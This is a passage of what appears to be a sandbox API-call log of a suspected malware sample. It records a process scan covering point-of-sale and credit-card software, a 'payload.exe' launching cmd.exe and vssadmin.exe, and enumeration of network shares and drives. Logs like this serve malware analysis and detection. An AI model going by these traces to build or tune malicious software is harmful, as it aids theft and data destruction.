th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0056.841] lstrlenW (lpString="thunderbird.exe") returned 15 [0056.841] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0056.842] lstrlenW (lpString="totalcmd.exe") returned 12 [0056.842] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0056.842] lstrlenW (lpString="trillian.exe") returned 12 [0056.842] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0056.843] lstrlenW (lpString="webdrive.exe") returned 12 [0056.843] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0056.843] lstrlenW (lpString="whatsapp.exe") returned 12 [0056.843] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0056.844] lstrlenW (lpString="winscp.exe") returned 10 [0056.844] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0056.844] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0056.844] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0056.845] lstrlenW (lpString="active-charge.exe") returned 17 [0056.845] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0056.845] lstrlenW (lpString="accupos.exe") returned 11 [0056.846] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0056.846] lstrlenW (lpString="afr38.exe") returned 9 [0056.846] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0056.846] lstrlenW (lpString="aldelo.exe") returned 10 [0056.847] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0056.847] lstrlenW (lpString="ccv_server.exe") returned 14 [0056.847] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0056.848] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0056.848] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0056.848] lstrlenW (lpString="creditservice.exe") returned 17 [0056.848] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0056.849] lstrlenW (lpString="edcsvr.exe") returned 10 [0056.849] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0056.849] lstrlenW (lpString="fpos.exe") returned 8 [0056.849] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0056.850] lstrlenW (lpString="isspos.exe") returned 10 [0056.850] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0056.850] lstrlenW (lpString="mxslipstream.exe") returned 16 [0056.850] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0056.850] lstrlenW (lpString="omnipos.exe") returned 11 [0056.851] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0056.851] lstrlenW (lpString="spcwin.exe") returned 10 [0056.851] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0056.851] lstrlenW (lpString="spgagentservice.exe") returned 19 [0056.851] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0056.852] lstrlenW (lpString="utg2.exe") returned 8 [0056.852] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0056.852] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0056.852] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0056.853] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0056.853] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0056.854] lstrlenW (lpString="notebook.exe") returned 12 [0056.854] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0056.854] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0056.854] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0056.854] lstrlenW (lpString="current.exe") returned 11 [0056.854] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.855] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.855] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.855] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.855] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.856] lstrlenW (lpString="taskhost.exe") returned 12 [0056.856] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0056.856] lstrlenW (lpString="payload.exe") returned 11 [0056.856] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.857] lstrlenW (lpString="cmd.exe") returned 7 [0056.857] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.857] lstrlenW (lpString="conhost.exe") returned 11 [0056.857] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.857] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.857] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.858] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.858] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.858] lstrlenW (lpString="svchost.exe") returned 11 [0056.858] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0056.859] lstrlenW (lpString="LogonUI.exe") returned 11 [0056.859] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0056.859] CloseHandle (hObject=0x240) returned 1 [0056.859] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x4f4 [0032.273] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0032.273] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b4a38 | out: hHeap=0x880000) returned 1 Thread: id = 6 os_tid = 0x734 [0032.274] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.274] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b5c58 [0032.274] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5c58, Size=0x40) returned 0x8b6c38 [0032.274] GetLogicalDrives () returned 0x4 [0032.274] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ee4a0 [0032.274] GetComputerNameW (in: lpBuffer=0x8ee4a4, nSize=0x246ff6c | out: lpBuffer="XDUWTFONO", nSize=0x246ff6c) returned 1 [0032.274] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x8fe4a8 [0032.274] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x246ff3c | out: lphEnum=0x246ff3c*=0x8b61e8) returned 0x0 [0032.274] WNetEnumResourceW (in: hEnum=0x8b61e8, lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40 | out: lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40) returned 0x103 [0032.275] WNetCloseEnum (hEnum=0x8b61e8) returned 0x0 [0032.275] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x246ff3c | out: lphEnum=0x246ff3c*=0x3ed12b8) returned 0x0 [0036.207] WNetEnumResourceW (in: hEnum=0x3ed12b8, lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40 | out: lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40) returned 0x0 [0036.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x3f070b8 [0036.207] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8fe4a8, lphEnum=0x246ff10 | out: lphEnum=0x246ff10*=0x8b6368) returned 0x0 [0036.573] WNetEnumResourceW (in: hEnum=0x8b6368, lpcCount=0x246ff0c, lpBuffer=0x3f070b8, lpBufferSize=0x246ff14 | out: lpcCount=0x246ff0c, lpBuffer=0x3f070b8, lpBufferSize=0x246ff14) returned 0x103 [0036.573] WNetCloseEnum (hEnum=0x8b6368) returned 0x0 [0036.573] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x3f080c0 [0036.573] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8fe4c8, lphEnum=0x246ff10 | out: lphEnum=0x246ff10*=0x0) returned 0x4b8 [0055.037] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x3f0c0e0 [0055.037] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x8fe4e8, lphEnum=0x246ff10 | out: lphEnum=0x246ff10*=0x0) returned 0x4c6 [0055.039] WNetEnumResourceW (in: hEnum=0x3ed12b8, lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40 | out: lpcCount=0x246ff38, lpBuffer=0x8fe4a8, lpBufferSize=0x246ff40) returned 0x103 [0055.039] WNetCloseEnum (hEnum=0x3ed12b8) returned 0x0 [0055.039] GetLogicalDrives () returned 0x4 [0055.039] Sleep (dwMilliseconds=0x64) [0055.171] GetLogicalDrives () returned 0x4 [0055.171] Sleep (dwMilliseconds=0x64) [0055.556] GetLogicalDrives () returned 0x4 [0055.556] Sleep (dwMilliseconds=0x64) [0055.713] GetLogicalDrives () returned 0x4 [0055.713] Sleep (dwMilliseconds=0x64) [0056.473] GetLogicalDrives () returned 0x4 [0056.473] Sleep (dwMilliseconds=0x64) [0056.878] GetLogicalDrives () returned 0x4 [0056.878] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xae0 [0033.625] GetTickCount () returned 0x11432f3 [0033.625] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8cbf90 [0033.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8cbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0033.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8cbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0033.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8cbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0033.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8cbf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0033.629] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0278 [0033.629] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0278, Size=0x20) returned 0x8b5d48 [0033.629] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0278 [0033.629] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0278, Size=0x20) returned 0x8b5d70 [0033.630] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.630] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.630] Wow64DisableWow64FsRedirection (in: OldValue=0x256ff84 | out: OldValue=0x256ff84*=0x0) returned 1 [0033.630] lstrlenW (lpString="kernel32.dll") returned 12 [0033.630] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0033.630] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.630] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d70 | out: hHeap=0x880000) returned 1 [0033.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8bb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0033.631] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0033.975] GetTickCount () returned 0x114339f [0033.975] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.664] GetTickCount () returned 0x1143498 [0034.664] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.150] GetTickCount () returned 0x114366c [0035.150] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.444] GetTickCount () returned 0x1143766 [0035.444] GetTickCount () returned 0x1143766 [0035.444] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.684] GetTickCount () returned 0x114385f [0035.684] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.059] GetTickCount () returned 0x11439b7 [0036.059] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.486] GetTickCount () returned 0x1143b3d [0036.486] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.912] GetTickCount () returned 0x1143cb3 [0036.912] GetTickCount () returned 0x1143cb3 [0036.912] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.294] GetTickCount () returned 0x1143ddb [0037.294] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.619] GetTickCount () returned 0x1143f13 [0037.619] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.089] GetTickCount () returned 0x11440a9 [0038.089] GetTickCount () returned 0x11440a9 [0038.089] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.510] GetTickCount () returned 0x114421f [0038.510] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.853] GetTickCount () returned 0x1144357 [0038.853] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.335] GetTickCount () returned 0x114453b [0039.335] GetTickCount () returned 0x114453b [0039.335] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.569] GetTickCount () returned 0x1144606 [0039.569] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.898] GetTickCount () returned 0x114474d [0039.898] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.248] GetTickCount () returned 0x1144885 [0040.248] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.582] GetTickCount () returned 0x11449dd [0040.582] GetTickCount () returned 0x11449dd [0040.582] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.709] GetTickCount () returned 0x1144a59 [0040.709] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.090] GetTickCount () returned 0x1144bd0 [0041.090] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.712] GetTickCount () returned 0x1144d94 [0041.712] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.097] GetTickCount () returned 0x1144efb [0042.097] GetTickCount () returned 0x1144efb [0042.097] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.393] GetTickCount () returned 0x1145023 [0042.393] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.656] GetTickCount () returned 0x114511d [0042.656] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.999] GetTickCount () returned 0x1145284 [0043.002] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.375] GetTickCount () returned 0x11453fa [0043.375] GetTickCount () returned 0x11453fa [0043.375] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.712] GetTickCount () returned 0x1145542 [0043.712] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.002] GetTickCount () returned 0x114566a [0044.002] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.259] GetTickCount () returned 0x1145764 [0044.259] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.414] GetTickCount () returned 0x1145800 [0044.414] GetTickCount () returned 0x1145800 [0044.414] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.660] GetTickCount () returned 0x11458f9 [0044.660] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.858] GetTickCount () returned 0x11459c4 [0044.858] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.183] GetTickCount () returned 0x1145afc [0045.183] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.450] GetTickCount () returned 0x1145c15 [0045.450] GetTickCount () returned 0x1145c15 [0045.450] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.649] GetTickCount () returned 0x1145cd0 [0045.650] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.005] GetTickCount () returned 0x1145e37 [0046.005] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.512] GetTickCount () returned 0x114603a [0046.512] GetTickCount () returned 0x114603a [0046.512] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.739] GetTickCount () returned 0x1146114 [0046.739] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.597] GetTickCount () returned 0x114646e [0047.597] GetTickCount () returned 0x114646e [0047.597] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.834] GetTickCount () returned 0x1146558 [0047.834] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.160] GetTickCount () returned 0x11466a0 [0048.160] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.380] GetTickCount () returned 0x114677a [0048.380] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.379] GetTickCount () returned 0x1146b61 [0049.379] GetTickCount () returned 0x1146b61 [0049.380] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.555] GetTickCount () returned 0x1146c1c [0049.555] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.721] GetTickCount () returned 0x1146cb8 [0049.721] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.529] GetTickCount () returned 0x1146fe3 [0050.530] GetTickCount () returned 0x1146fe3 [0050.530] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.693] GetTickCount () returned 0x114708f [0050.693] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.000] GetTickCount () returned 0x11471b7 [0051.000] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.264] GetTickCount () returned 